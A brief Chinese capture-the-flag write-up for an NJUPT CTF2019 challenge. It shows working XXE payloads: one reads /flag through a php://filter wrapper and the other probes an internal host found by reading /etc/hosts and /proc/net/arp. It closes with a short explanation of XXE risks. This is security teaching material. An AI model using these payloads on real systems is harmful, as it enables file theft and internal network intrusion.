关于XXE

NJUPT CTF2019：



做题的时候，抓包看了一下，响应XML格式消息，并没有严格过滤，这道题读文件，

<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>

通过读取/etc/hosts以及/proc/net/arp，推测主机ip：192.168.1.8

<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "http://192.168.1.8/" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>

漏洞解释：

xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件和代码，造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

常见的利用，就和上面的题一样，读文件，嗅探，Dos，Blind XXE